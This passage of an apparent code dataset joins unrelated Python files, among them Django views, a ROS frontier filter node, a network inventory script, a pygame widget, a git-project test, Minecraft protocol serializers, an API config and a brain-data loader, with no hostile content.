if temp_rad!=0:
rad.append(temp_rad)
label=get_label(planet_mass,label)
if len(rad)!=1:
score=0
rad=0
source_rad=0
else:
rad=sum(rad)/len(rad)
score=int(required_radius[0]<rad<required_radius[1])
source_rad=source_radii[source]
g.write('%s,%s,%s,%f,%f\n' %(user,source,label,rad,source_rad))
f.write('%s,%s,%d,%s\n' %(user,source,score,label))
f.close()
g.close()
print 'Total running time: %s' %hms(time.time()-beginning)
print 'done'
| python |
from django.contrib.auth.decorators import login_required
from django.contrib.auth.mixins import LoginRequiredMixin
from django.views.generic import ListView
from django.shortcuts import redirect
from django.urls import reverse_lazy
from django.views.generic.detail import DetailView
from django.views.generic.edit import CreateView
import requests
import json
from posts.forms import PostForm
from posts.models import Post
from django.shortcuts import render
def generate_pokemons():
pokemons_list = []
pokemons_request = requests.get("https://pokeapi.co/api/v2/pokemon?limit=5")
pokemons_dict = json.loads(pokemons_request.content)
for pokemon in pokemons_dict['results']:
pokemon_info_request = requests.get(pokemon['url'])
pokemon_info_dict = json.loads(pokemon_info_request.content)
pokemon_data_dict = {
'name': pokemon_info_dict['name'],
'photo': pokemon_info_dict['sprites']['other']['official-artwork']['front_default'],
'height': pokemon_info_dict['height'],
'weight': pokemon_info_dict['weight']
}
pokemons_list.append(pokemon_data_dict)
return render(request, 'posts/feed.html', {'pokemons_list': pokemons_list})
class PostsFeedView(LoginRequiredMixin, ListView):
template_name = 'posts/feed.html'
model = Post
ordering = ('-created')
paginate_by = 2
context_object_name = 'posts'
class PostDetailView(LoginRequiredMixin, DetailView):
template_name = 'posts/detail.html'
queryset = Post.objects.all()
context_object_name = 'post'
class CreatePostView(LoginRequiredMixin, CreateView):
template_name = 'posts/new.html'
form_class = PostForm
success_url = reverse_lazy('posts:feed')
def get_context_data(self, **kwargs):
context = super().get_context_data(**kwargs)
context['user'] = self.request.user
context['profile'] = self.request.user.profile
return context
| python |
#!/usr/bin/env python
#--------Include modules---------------
from copy import copy
import rospy
from visualization_msgs.msg import Marker
from geometry_msgs.msg import Point
from nav_msgs.msg import OccupancyGrid
from geometry_msgs.msg import PointStamped
import tf
from numpy import array,vstack,delete
from functions import gridValue,informationGain2,isOldFrontier
from sklearn.cluster import MeanShift
from rrt_exploration.msg import PointArray
# Subscribers' callbacks------------------------------
mapData=OccupancyGrid()
frontiers=set()
globalmaps=[]
def callBack(data,args):
global frontiers,min_distance
# transform from local map point to global map
transformedPoint=args[0].transformPoint(args[1],data)
x=(transformedPoint.point.x,transformedPoint.point.y)
frontiers.add(copy(x))
#if len(frontiers)>0:
# frontiers=vstack((frontiers,x))
#else:
# frontiers=x
def mapCallBack(data):
global mapData
mapData=data
def globalMap(data):
global global1,globalmaps,litraIndx,namespace_init_count,n_robots
global1=data
if n_robots>1:
indx=int(data._connection_header['topic'][litraIndx])-namespace_init_count
elif n_robots==1:
indx=0
globalmaps[indx]=data
# Node----------------------------------------------
def node():
global frontiers,mapData,global1,global2,global3,globalmaps,litraIndx,n_robots,namespace_init_count
rospy.init_node('filter', anonymous=False)
# fetching all parameters
map_topic= rospy.get_param('~map_topic','/map')
threshold= rospy.get_param('~costmap_clearing_threshold',70)
info_radius= rospy.get_param('~info_radius',1.0) #this can be smaller than the laser scanner range, >> smaller >>less computation time>> too small is not good, info gain won't be accurate
goals_topic= rospy.get_param('~goals_topic','/detected_points')
n_robots = rospy.get_param('~n_robots',1)
namespace = rospy.get_param('~namespace','')
namespace_init_count = rospy.get_param('namespace_init_count',1)
rateHz = rospy.get_param('~rate',1)
litraIndx=len(namespace)
rate = rospy.Rate(rateHz)
#---------------------------------------
rospy.Subscriber(map_topic, OccupancyGrid, mapCallBack)
#---------------------------------------------------------------------------------------------------------------
for i in range(0,n_robots):
globalmaps.append(OccupancyGrid())
if len(namespace) > 0:
for i in range(0,n_robots):
rospy.Subscriber(namespace+str(i+namespace_init_count)+'/move_base/global_costmap/costmap', OccupancyGrid, globalMap)
elif len(namespace)==0:
rospy.Subscriber('/move_base/global_costmap/costmap', OccupancyGrid, globalMap)
#wait if map is not received yet
while (len(mapData.data)<1):
pass
#wait if any of robots' global costmap map is not received yet
for i in range(0,n_robots):
while (len(globalmaps[i].data)<1):
pass
global_frame="/"+mapData.header.frame_id
tfLisn=tf.TransformListener()
if len(namespace) > 0:
for i in range(0,n_robots):
tfLisn.waitForTransform(global_frame[1:], namespace+str(i+namespace_init_count)+'/base_link', rospy.Time(0),rospy.Duration(10.0))
elif len(namespace)==0:
tfLisn.waitForTransform(global_frame[1:], '/base_link', rospy.Time(0),rospy.Duration(10.0))
rospy.Subscriber(goals_topic, PointStamped, callback=callBack,callback_args=[tfLisn,global_frame[1:]])
#pub = rospy.Publisher('frontiers', Marker, queue_size=10)
pub2 = rospy.Publisher('frontiers', Marker, queue_size=10)
filterpub = rospy.Publisher('filtered_points', PointArray, queue_size=10)
rospy.loginfo("the map and global costmaps are received")
# wait if no frontier is received yet
while len(frontiers)<1:
pass
points=Marker()
points_clust=Marker()
#Set frame ID and timestamp. See the TF tutorials for information on these.
points.header.frame_id= mapData.header.frame_id
points.header.stamp= rospy.Time.now()
points.ns= "markers2"
points.id = 0
points.type = Marker.POINTS
#Set marker action for latched frontiers. Options are ADD, DELETE, and new in ROS Indigo: 3 (DELETEALL)
points.action = Marker.ADD;
points.pose.orientation.w = 1.0
points.scale.x=0.2
points.scale.y=0.2
points.color.r = 255.0/255.0
points.color.g = 255.0/255.0
points.color.b = 0.0/255.0
points.color.a=1;
points.lifetime = rospy.Duration();
p=Point()
p.z = 0;
pp=[]
pl=[]
points_clust.header.frame_id= mapData.header.frame_id
points_clust.header.stamp= rospy.Time.now()
points_clust.ns= "markers3"
points_clust.id = 4
points_clust.type = Marker.POINTS
#Set marker action for centroids. Options are ADD, DELETE, and new in ROS Indigo: 3 (DELETEALL)
points_clust.action = Marker.ADD;
points_clust.pose.orientation.w = 1.0;
points_clust.scale.x=0.2;
points_clust.scale.y=0.2;
points_clust.color.r = 0.0/255.0
points_clust.color.g = 255.0/255.0
points_clust.color.b = 0.0/255.0
points_clust.color.a=1;
points_clust.lifetime = rospy.Duration();
temppoint=PointStamped()
temppoint.header.frame_id= mapData.header.frame_id
temppoint.header.stamp=rospy.Time(0)
temppoint.point.z=0.0
arraypoints=PointArray()
tempPoint=Point()
tempPoint.z=0.0
#---------------------------------------------------------------------
#----------------- Main Loop -------------------------------
#---------------------------------------------------------------------
while not rospy.is_shutdown():
#-------------------------------------------------------------------------
#Clustering frontier points
'''
#centroids=[]
#front=copy(frontiers)
#if len(front)>1:
# ms = MeanShift(bandwidth=0.3)
# ms.fit(front)
# centroids= ms.cluster_centers_ #centroids array is the centers of each cluster
#if there is only one frontier no need for clustering, i.e. centroids=frontiers
#if len(front)==1:
# centroids=front
#frontiers=copy(centroids)
'''
#---------------------------------------------------------------------
#clearing old frontiers
for frontier in list(frontiers):
cond = False
temppoint.point.x=frontier[0]
temppoint.point.y=frontier[1]
for i in range(0,n_robots):
transformedPoint=tfLisn.transformPoint(globalmaps[i].header.frame_id,temppoint)
x=(transformedPoint.point.x,transformedPoint.point.y)
cond=(gridValue(globalmaps[i],x)>threshold) or cond
if (informationGain(mapData, [frontier[0], frontier[1]],info_radius*0.5) < 0.2):
if (frontier[0], frontier[1]) in frontiers:
frontiers.remove((frontier[0], frontier[1]))
'''
if (cond or (informationGain(mapData,[frontier[0],frontier[1]],info_radius*0.5))<0.2):
if (frontier[0], frontier[1]) in frontiers:
frontiers.remove((frontier[0], frontier[1]))
'''
#---------------------------------------------------------------------
#publishing
arraypoints.points=[]
for i in list(frontiers):
tempPoint.x=i[0]
tempPoint.y=i[1]
arraypoints.points.append(copy(tempPoint))
filterpub.publish(arraypoints)
'''
pp=[]
for q in range(0,len(frontiers)):
p.x=frontiers[q][0]
p.y=frontiers[q][1]
pp.append(copy(p))
points.points=pp
'''
'''
for q in list(frontiers):
p.x= q[0]
p.y= q[1]
pp.append(copy(p))
'''
points_clust.points= copy(arraypoints.points)
# pub.publish(points)
pub2.publish(points_clust)
rate.sleep()
#-------------------------------------------------------------------------
if __name__ == '__main__':
try:
node()
except rospy.ROSInterruptException:
pass
| python |
# -*- coding: utf-8 -*-
# ---------------------------------------------------------------------
# Siklu.EH.get_inventory
# ---------------------------------------------------------------------
# Copyright (C) 2007-2019 The NOC Project
# See LICENSE for details
# ---------------------------------------------------------------------
# Python modules
import re
# NOC modules
from noc.core.script.base import BaseScript
from noc.sa.interfaces.igetinventory import IGetInventory
class Script(BaseScript):
name = "Siklu.EH.get_inventory"
interface = IGetInventory
rx_component = re.compile(
r"\s*inventory (?P<number>\d+) desc\s+: (?P<description>.*)"
r"\s*inventory \d+ cont-in\s+: .*"
r"\s*inventory \d+ class\s+: (?P<type>\S+)"
r"\s*inventory \d+ rel-pos\s+: .*"
r"\s*inventory \d+ name\s+: (?P<name>.*)"
r"\s*inventory \d+ hw-rev\s+: (?P<revision>(\S+|\S+\s\S+))?\s*"
r"\s*inventory \d+ fw-rev\s+: (?P<fwrevision>.*)"
r"\s*inventory \d+ sw-rev\s+: (?P<swrevision>.*)"
r"\s*inventory \d+ serial\s+: (?P<serial>\S+)?\s*"
r"\s*inventory \d+ mfg-name\s+: (?P<vendor>\S+)?\s*"
r"\s*inventory \d+ model-name\s+: (?P<part_no>\S+)?\s*"
r"\s*inventory \d+ fru\s+: (?P<fru>.*)",
re.MULTILINE,
)
def execute(self):
r = []
v = self.cli("show inventory")
for match in self.rx_component.finditer(v):
if match.group("vendor"):
vendor = match.group("vendor").upper()
else:
vendor = "NONAME"
part_no = match.group("part_no")
if not part_no or part_no == "default":
continue
revision = match.group("revision")
if part_no == "EH-1200TL-ODU-1ft" and revision == "F0":
part_no = "EH-1200TL-ODU-1ft-F0"
p = {
"type": match.group("type").upper(),
"number": int(match.group("number") or 0),
"vendor": vendor,
"part_no": part_no,
"revision": revision,
"description": match.group("description"),
}
if match.group("fru") == "false":
p["builtin"] = True
if match.group("serial"):
p["serial"] = match.group("serial")
r += [p]
return r
| python |
import pygame
from .animatable import Animatable
from .shared_objects import SharedObjects
from . import constants as c
class TextField(Animatable):
def __init__(self, x, y, width, text_color=c.LOBBY_TEXT_COLOR, active_color=c.LOBBY_ACTIVE_COLOR, inactive_color=c.LOBBY_INACTIVE_COLOR, placeholder=None):
"""
Parameters:
-----------
x: center x position
y: center y position
width: how wide in pixels the text field
active_color: color of background when focused
inactive_color: color of backgorund when not focused
placeholder: the original string that this text field has
"""
self.x = x
self.y = y
self.font = SharedObjects.get_small_font()
self.width = width
self.height = self.font.render(
"I", True, text_color).get_rect().h
self.active_color = active_color
self.inactive_color = inactive_color
self.is_active = False
self.text_color = text_color
if placeholder is not None:
self.text = placeholder
else:
self.text = ""
surf = self._make_surface()
super(TextField, self).__init__(surf, x, y, hidden=False)
def _make_surface(self):
"""
Internal function used to make the surface of the text field.
"""
background_surf = pygame.Surface((self.width, self.height))
if self.is_active:
background_surf.fill(self.active_color)
else:
background_surf.fill(self.inactive_color)
center = background_surf.get_rect().center
text_surf = self.font.render(self.text, True, self.text_color)
rect = text_surf.get_rect()
rect.center = center
background_surf.blit(text_surf, rect)
return background_surf
def _update_animatable(self):
surf = self._make_surface()
self.original_surface = surf
self.surface = surf
def focus(self):
"""
The background changes to the active color.
"""
self.is_active = True
self._update_animatable()
def unfocus(self):
"""
The background changes to the inactive color.
"""
self.is_active = False
self._update_animatable()
def append_char(self, char):
"""
Sets the text of the text field.
Parameters:
-----------
char: a character to append to the string (can be backspace)
"""
if char == '\b':
if len(self.text):
self.text = self.text[:-1]
else:
self.text += char
self._update_animatable()
def get_text(self):
"""
Returns the current text value of the text field.
"""
return self.text
def set_text(self, txt):
"""
Immediately changes the text to the passed in string.
Parameters:
-----------
txt: string
"""
self.text = txt
self._update_animatable()
def collide(self, point):
"""
Returns true if the point is within the text field.
Parameters:
-----------
point: (x, y) tuple of the point
"""
rect = self.rect
return rect.collidepoint(point)
| python |
# built-in
from contextlib import suppress
from pathlib import Path, PurePath
from typing import List, Optional, Set
# external
import attr
# app
from ._cached_property import cached_property
def _dir_list(filelist: List[str]) -> Set[str]:
# paths starting with '/' or containing '.' are not supported
dir_list = set() # type: Set[str]
for path in filelist:
while path:
path, _, _ = path.rpartition('/')
if not path or path in dir_list:
break
dir_list.add(path)
return dir_list
@attr.s()
class ArchiveStream:
descriptor = attr.ib()
cache_path = attr.ib(type=Path)
member_path = attr.ib(type=PurePath)
mode = attr.ib(type=str, default='r')
encoding = attr.ib(type=Optional[str], default=None)
# private
@cached_property
def _is_tar(self) -> bool:
return hasattr(self.descriptor, 'getmember')
@cached_property
def _dir_list(self) -> Set[str]:
return _dir_list(self.descriptor.namelist())
@cached_property
def _info(self):
path = self.member_path.as_posix()
with suppress(KeyError):
if self._is_tar:
return self.descriptor.getmember(path)
try:
return self.descriptor.getinfo(path) # zip file
except KeyError:
return self.descriptor.getinfo(path + '/') # zip dir
return None
@cached_property
def _is_implicit_dir(self) -> bool:
# Only zip have implicit dirs
if self._is_tar:
return False
path = self.member_path.as_posix()
return path in self._dir_list
# used from ArchivePath
def exists(self) -> bool:
return self.is_file() or self.is_dir()
def is_file(self) -> bool:
if self._info is None:
return False
if self._is_tar:
return self._info.isfile()
# zip
return self._info.filename[-1] != '/'
def is_dir(self) -> bool:
if self._info is None:
return self._is_implicit_dir
if self._is_tar:
return self._info.isdir()
# zip explicit dir entry
return self._info.filename[-1] == '/'
# public interface
def read(self):
if not self.member_path.name:
raise NotImplementedError
path = self.cache_path / self.member_path
if path.exists():
raise FileExistsError('file in cache created between open and read')
# extract to cache
self.descriptor.extract(member=self._info, path=str(self.cache_path))
# read from cache
with path.open(self.mode, encoding=self.encoding) as stream:
return stream.read()
| python |
def main(*args, **kwargs):
import os
import django
os.environ.setdefault("DJANGO_SETTINGS_MODULE", "conf.settings")
django.setup()
from .fixtures import make_objects
factor = (args[0] if len(args) > 0 else kwargs.get('factor')) or 5
make_objects(factor)
| python |
import os
from PySide2.QtCore import QDir
from qt_material.resources import ResourseGenerator
# ----------------------------------------------------------------------
def generate_icons() -> None:
""""""
source = os.path.join(os.path.dirname(__file__), 'source')
resources = ResourseGenerator(primary=os.getenv('QTMATERIAL_PRIMARYCOLOR'),
secondary=os.getenv(
'QTMATERIAL_SECONDARYCOLOR'),
disabled=os.getenv(
'QTMATERIAL_SECONDARYLIGHTCOLOR'),
source=source,
parent='bci_framework',
)
resources.generate()
QDir.addSearchPath('bci', resources.index)
QDir.addSearchPath(
'icons-dark', os.path.join(os.path.dirname(__file__), 'icons-dark'))
| python |
# Generated by Django 2.0.7 on 2018-08-08 03:28
from django.db import migrations
class Migration(migrations.Migration):
dependencies = [
('portal', '0005_project_personnel'),
]
operations = [
migrations.RemoveField(
model_name='project',
name='personnel',
),
]
| python |
import asyncio
import pytest
from procrastinate import app
from procrastinate import worker as worker_module
@pytest.mark.asyncio
async def test_wait_for_activity(aiopg_connector):
"""
Testing that a new event interrupts the wait
"""
pg_app = app.App(connector=aiopg_connector)
worker = worker_module.Worker(app=pg_app, timeout=2)
worker.notify_event = asyncio.Event()
task = asyncio.ensure_future(worker.single_worker(worker_id=0))
await asyncio.sleep(0.2) # should be enough so that we're waiting
worker.stop_requested = True
worker.notify_event.set()
try:
await asyncio.wait_for(task, timeout=0.2)
except asyncio.TimeoutError:
pytest.fail("Failed to stop worker within .2s")
@pytest.mark.asyncio
async def test_wait_for_activity_timeout(aiopg_connector):
"""
Testing that we timeout if nothing happens
"""
pg_app = app.App(connector=aiopg_connector)
worker = worker_module.Worker(app=pg_app, timeout=2)
worker.notify_event = asyncio.Event()
task = asyncio.ensure_future(worker.single_worker(worker_id=0))
try:
await asyncio.sleep(0.2) # should be enough so that we're waiting
worker.stop_requested = True
with pytest.raises(asyncio.TimeoutError):
await asyncio.wait_for(task, timeout=0.2)
finally:
worker.notify_event.set()
@pytest.mark.asyncio
async def test_wait_for_activity_stop_from_signal(aiopg_connector, kill_own_pid):
"""
Testing than ctrl+c interrupts the wait
"""
pg_app = app.App(connector=aiopg_connector)
worker = worker_module.Worker(app=pg_app, timeout=2)
task = asyncio.ensure_future(worker.run())
await asyncio.sleep(0.2) # should be enough so that we're waiting
kill_own_pid()
try:
await asyncio.wait_for(task, timeout=0.2)
except asyncio.TimeoutError:
pytest.fail("Failed to stop worker within .2s")
@pytest.mark.asyncio
async def test_wait_for_activity_stop(aiopg_connector):
"""
Testing than calling job_store.stop() interrupts the wait
"""
pg_app = app.App(connector=aiopg_connector)
worker = worker_module.Worker(app=pg_app, timeout=2)
task = asyncio.ensure_future(worker.run())
await asyncio.sleep(0.2) # should be enough so that we're waiting
worker.stop()
try:
await asyncio.wait_for(task, timeout=0.2)
except asyncio.TimeoutError:
pytest.fail("Failed to stop worker within .2s")
| python |
"""
import from core
"""
from holland.core.backup.base import BackupError, BackupRunner, BackupPlugin
| python |
def flatten_generator(list_to_flatten):
"""Child method to flatten multi-dimension lists into a single list
Args:
list_to_flatten (list): List of lists to flatten
Returns:
list()
"""
for elem in list_to_flatten:
if isinstance(elem,(list, tuple)):
for x in flatten(elem):
yield x
else:
yield elem
def flatten(list_to_flatten):
"""Parent method to flatten multi-dimension lists into a single list
Args:
list_to_flatten (list): List of lists to flatten
Returns:
list()
"""
if isinstance(list_to_flatten, basestring):
return [list_to_flatten]
return list(flatten_generator(list_to_flatten))
| python |
#!bin/env python
import subprocess
import os.path
import unittest, re
class TestSafety(unittest.TestCase):
@classmethod
def setUpClass(self):
# clean up, just in case
subprocess.call('rm -rf remote local 2>> /dev/null', shell=True)
# Create "local" and "remote" repositories
subprocess.call('mkdir remote; mkdir local', shell=True)
subprocess.call('cd remote; mkdir parent; cd parent; git init --bare', shell=True)
subprocess.call('cd remote; mkdir child; cd child; git init --bare', shell=True)
subprocess.call('cd local; git clone ../remote/parent', shell=True)
subprocess.call('cd local; git clone ../remote/child', shell=True)
# initialize the git-project for local/parent
subprocess.call('cd local/parent; echo "version: 0.1.0" >> .gitproj', shell=True)
subprocess.call('cd local/parent; echo "repos:" >> .gitproj', shell=True)
subprocess.call('cd local/parent; echo "\tc child ../../remote/child" >> .gitproj', shell=True)
subprocess.call('cd local/parent; git add .gitproj; git commit -m "Initial Commit"; git push -u origin master', shell=True)
# clone the child repo into the parent through git project init
subprocess.call('cd local/parent; git project init', shell=True)
subprocess.call('cd local/parent; git add .gitignore; git commit -m ".gitignore"; git push', shell=True)
def test_safety(self):
# check to ensure the child repo was cloned
output = subprocess.check_output('cd local/parent; ls | grep child | awk \'{print $1}\'', shell=True)
self.assertEqual(output, 'child\n')
# ensure the child's remote is correct
output = subprocess.check_output('cd local/parent/child; git remote show origin | grep Fetch | grep remote/child | wc -l', shell=True)
self.assertEqual(output.strip().replace('\n',''), '1')
# add a commit and SAVE it into the git-project (simulate working inside the parent-repo's copy of child)
subprocess.call('cd local/parent/child; echo "Asdf" > test.txt; git add test.txt; git commit -m "Initial Commit"; git push', shell=True)
subprocess.call('cd local/parent; git project save -f', shell=True)
subprocess.call('cd local/parent; git add .gitproj; git commit -m "Save Sub-Repository State"', shell=True)
# ensure git project load DID update the child repo
output = subprocess.check_output('cd local/parent/child; git status | grep "behind" | wc -l', shell=True)
self.assertEqual(output.strip().replace('\n',''), '0')
# create a commit we DO NOT WANT to include in the git-project
subprocess.call('cd local/child; git pull', shell=True)
subprocess.call('cd local/child; echo "asdf2" > test2.txt; git add test2.txt; git commit -m "Second Commit"; git push', shell=True)
subprocess.call('cd local/parent; git project load', shell=True)
# ensure git project load DID NOT update the child repo
output = subprocess.check_output('cd local/parent/child; git status | grep "behind" | wc -l', shell=True)
self.assertEqual(output.strip().replace('\n',''), '1')
subprocess.call('cd local/parent; git project load --update -f', shell=True)
# ensure git project load --update DOES update the child repo, as per previous functionality
output = subprocess.check_output('cd local/parent/child; git status | grep "behind" | wc -l', shell=True)
self.assertEqual(output.strip().replace('\n',''), '0')
@classmethod
def tearDownClass(self):
subprocess.call('rm -rf remote local', shell=True)
if __name__ == '__main__':
unittest.main()
| python |
from django.contrib import admin
from .models import Game, GameShort, SimilarGameConnection, SimilarGameConnectionWeighted
admin.site.register(Game)
admin.site.register(GameShort)
admin.site.register(SimilarGameConnection)
admin.site.register(SimilarGameConnectionWeighted) | python |
'''
MIT License
Name cs225sp20_env Python Package
URL https://github.com/Xiwei-Wang/cs225sp20_env
Version 1.0
Creation Date 26 April 2020
Copyright(c) 2020 Instructors, TAs and Some Students of UIUC CS 225 SP20 ZJUI Course
Instructorts: Prof. Dr. Klaus-Dieter Schewe
TAs: Tingou Liang, Run Zhang, Enyi Jiang, Xiang Li
Group 1 Students: Shen Zheng, Haozhe Chen, Ruiqi Li, Xiwei Wang
Other Students: Zhongbo Zhu
Above all, due to academic integrity, students who will take UIUC CS 225 ZJUI Course
taught with Python later than Spring 2020 semester are NOT authorized with the access
to this package.
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files(the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
---------
File cs225sp20_env/List/SPyList.py
Version 1.0
'''
# %%
# for VS Code users
if __name__ != "cs225sp20_env.List.SPyList":
import sys
sys.path.append(__file__[:-len("cs225sp20_env/List/SPyList.py")])
# %%cs225sp20-env
# for PyCharm users
if __name__ != "cs225sp20_env.List.SPyList":
import sys
import os
sys.path.append(os.getcwd())
# %%
from cs225sp20_env.List.PyList import PyList
# %%
class SPyList(PyList):
def __init__(self, contents=[], size=10):
self.items = [None] * size
self.keys = [] # modification
self.numItems = 0
self.size = size
for e in contents:
self.append(e)
def append(self, item):
if (type(item) is not dict):
raise TypeError("Wrong Element Tpye, dict Type Expected")
if (item['key'] in self.keys): # modification
raise KeyError("Key already exists")
if self.numItems == self.size:
self.allocate()
self.items[self.numItems] = item
self.numItems += 1
self.keys.append(item['key']) # modification
def __setitem__(self, index, val):
if (type(val) is not dict):
raise TypeError("Wrong Element Tpye, dict Type Expected")
if index >= 0 and index < self.numItems:
old_key = self.items[index]['key'] # modification
if(val['key'] != old_key and val['key'] in self.keys):
raise KeyError("Key already exists")
self.keys.remove(old_key)
self.keys.append(val['key'])
self.items[index] = val
return
raise IndexError("PyList assignment index out of range")
def __add__(self, other):
raise SyntaxError("Add operation not defined") # modification
def insert(self, i, x):
if(type(x) is not dict):
raise TypeError("Wrong Element Tpye, dict Type Expected")
if (x['key'] in self.keys): # modification
raise KeyError("Key already exists")
if self.numItems == self.size:
self.allocate()
if i < self.numItems:
for j in range(self.numItems-1, i-1, -1):
self.items[j+1] = self.items[j]
self.items[i] = x
self.numItems += 1
self.keys.append(x['key'])
else:
self.append(x)
def projection(self, projectList):
newContent = []
for item in self.items:
if (item == None):
continue
newItem = {}
for key in item.keys():
if (key in projectList):
newItem[key] = item[key]
newContent.append(newItem)
return PyList(newContent)
def projection_m(self, projectList):
newContent = []
for item in self.items:
if (item == None):
continue
newItem = {}
for key in item.keys():
if (key in projectList):
newItem[key] = item[key]
newContent.append(newItem)
# If there are duplicated elements, raise an error
for i in range(len(newContent) - 1):
if (newContent[i] in newContent[i+1:]):
raise ValueError("Duplicated records after projection")
return PyList(newContent)
# %%
if __name__ == "__main__":
slist = SPyList([
{"key": 0, "name": "Toom", "state": "student", "age": 18, "score": 98},
{"key": 1, "name": "Annn", "state": "student", "age": 19, "score": 80},
{"key": 2, "name": "Giao", "state": "student", "age": 24, "score": 7},
{"key": 3, "name": "FFck", "state": "teacher",
"age": 79, "payment": 800},
{"key": 4, "name": "Kela", "state": "teacher",
"age": 33, "payment": 999},
])
slist.append({"key": 5, "name": "Mono",
"state": "student", "age": 23, "score": 13},)
slist[0] = {"key": 0, "name": "Sabi",
"state": "student", "age": 18, "score": 98}
slist.insert(2, {"key": 7, "name": "Kela",
"state": "teacher", "age": 33, "payment": 999})
names = slist.projection(["name"])
age_and_score = slist.projection(["age", "score"])
try:
states = slist.projection_m(["state"])
except:
pass
| python |
from mcpy import primative, serializer
PacketSerializer = serializer.PacketSerializer
class LoginDisconnectPacket():
def __init__(self, reason):
self.reason = reason
class LoginDisconnectPacketSerializer(PacketSerializer):
def __init__(self):
self.id = 0
self.fields = [["reason", primative.json]]
self.type = LoginDisconnectPacket
class LoginEncryptionRequestPacket():
def __init__(self, server_id, public_key, verify_token):
self.server_id = server_id
self.public_key = public_key
self.verify_token = verify_token
class LoginEncryptionRequestPacketSerializer(PacketSerializer):
def __init__(self):
self.id = 1
self.fields = [
["server_id", primative.u8],
["public_key", primative.v_bytes],
["verify_token", primative.v_bytes]]
self.type = LoginEncryptionRequestPacket
class LoginSuccessPacket():
def __init__(self, uuid, username):
self.uuid = uuid
self.username = username
class LoginSuccessPacketSerializer(PacketSerializer):
def __init__(self):
self.id = 2
self.fields = [
["uuid", primative.s_uuid],
["username", primative.u8]]
self.type = LoginSuccessPacket
class LoginSetCompressionPacket():
def __init__(self, threshold):
self.threshold = threshold
class LoginSetCompressionPacketSerializer(PacketSerializer):
def __init__(self):
self.id = 3
self.fields = [["threshold", primative.vi]]
self.type = LoginSetCompressionPacket
class LoginStartPacket():
def __init__(self, username):
self.username = username
class LoginStartPacketSerializer(PacketSerializer):
def __init__(self):
self.id = 0
self.fields = [["username", primative.u8]]
self.type = LoginStartPacket
class LoginEncryptionResponsePacket():
def __init__(self, shared_secret, verify_token):
self.shared_secret = shared_secret
self.verify_token = verify_token
class LoginEncryptionResponsePacketSerializer(PacketSerializer):
def __init__(self):
self.id = 1
self.fields = [
["shared_secret", primative.v_bytes],
["verify_token", primative.v_bytes]]
self.type = LoginEncryptionResponsePacket
| python |
"""Global API configuration."""
from os import environ
from urlparse import urlparse
# This module is both imported from and executed. In the former case only
# relative imports are supported, in the latter only absolute.
try:
from schemas import facility_schema, request_schema, resource_schema, \
service_schema
except ImportError:
from taarifa_api.schemas import facility_schema, request_schema, \
resource_schema, service_schema
API_NAME = 'TaarifaAPI'
URL_PREFIX = environ.get('API_URL_PREFIX', 'api')
if 'EVE_DEBUG' in environ:
DEBUG = True
if 'MONGOLAB_URI' in environ:
url = urlparse(environ['MONGOLAB_URI'])
MONGO_HOST = url.hostname
MONGO_PORT = url.port
MONGO_USERNAME = url.username
MONGO_PASSWORD = url.password
MONGO_DBNAME = url.path[1:]
else:
MONGO_DBNAME = environ.get('MONGO_DBNAME', API_NAME)
# Enable reads (GET), inserts (POST) and DELETE for resources/collections
# (if you omit this line, the API will default to ['GET'] and provide
# read-only access to the endpoint).
RESOURCE_METHODS = ['GET', 'POST', 'DELETE']
# Enable reads (GET), edits (PATCH) and deletes of individual items
# (defaults to read-only item access).
ITEM_METHODS = ['GET', 'PUT', 'PATCH', 'DELETE']
services = {
"schema": service_schema,
}
requests = {
"schema": request_schema,
"source": "requests",
"key": "service_code",
}
facilities = {
"item_title": "facility",
"schema": facility_schema,
}
resources = {
"schema": resource_schema,
"source": "resources",
"key": "facility_code",
}
DOMAIN = {
'services': services,
'requests': requests,
'facilities': facilities,
'resources': resources,
}
# Allow requesting up to 100 results per page
PAGINATION_LIMIT = 100
# FIXME: Temporarily allow CORS requests for development purposes
X_DOMAINS = "*"
# Enable Flask-Compress in debug mode
COMPRESS_DEBUG = True
# gzip compression level
COMPRESS_LEVEL = 9
# Enable document version control
VERSIONING = True
| python |
import csv
import numpy as np
import time
from collections import OrderedDict
from .containers import Question, Word, WordTrial, QuestionTrial
def load_20questions_question_array(fname,
time_window_lower_bound=None,
time_window_length=None,
baseline_time_window_lower_bound=-250,
baseline_time_window_length=250):
"""Loads question-related data.
Args:
fname: Path to npz file containing the data.
time_window_lower_bound: Select brain data for the question starting with this time point.
time_window_length: Select a window of length time_window_length for the question brain data.
baseline_time_window_lower_bound: The baseline brain activity starts at this time point.
baseline_time_window_length: elect a window of this length for the baseline brain data.
Returns:
times_from_onset_ms: Times from stimulus onset.
question_array: An array with shape (num_questions, num_channels, num_timepoints), where
the questions are in order of inv_question_order_dict, and the times can be found in
times_from_stim_onset.
question_order_dict: Dictionary mapping from question string to question id.
inv_question_order_dict: Dictionary mapping from question id to question string.
baseline_mean: An array of shape num_questions x num_channels representing the average
brain activity over the baseline period.
baseline_std: An array of shape num_questions x num_channels representing the standard
deviation of the brain activity over the baseline period.
"""
with open(fname, "rb") as fin:
loaded_dict = np.load(fin, encoding='latin1', allow_pickle=True)
times_from_onset_ms = loaded_dict['times_from_onset_ms']
question_order_dict = loaded_dict['question_order_dict']
inv_question_order_dict = loaded_dict['inv_question_order_dict']
question_array = loaded_dict['question_array']
if time_window_lower_bound is not None and time_window_length is not None:
# Select only the requested time window for the question.
time_window_start_ind = np.searchsorted(times_from_onset_ms, time_window_lower_bound, side='left')
print('Including question data from time window: %.2f - %.2f ms' %
(time_window_lower_bound, time_window_lower_bound+time_window_length))
question_array = question_array[:, :, time_window_start_ind:time_window_start_ind+time_window_length]
# Select only the requested time window for the baseline.
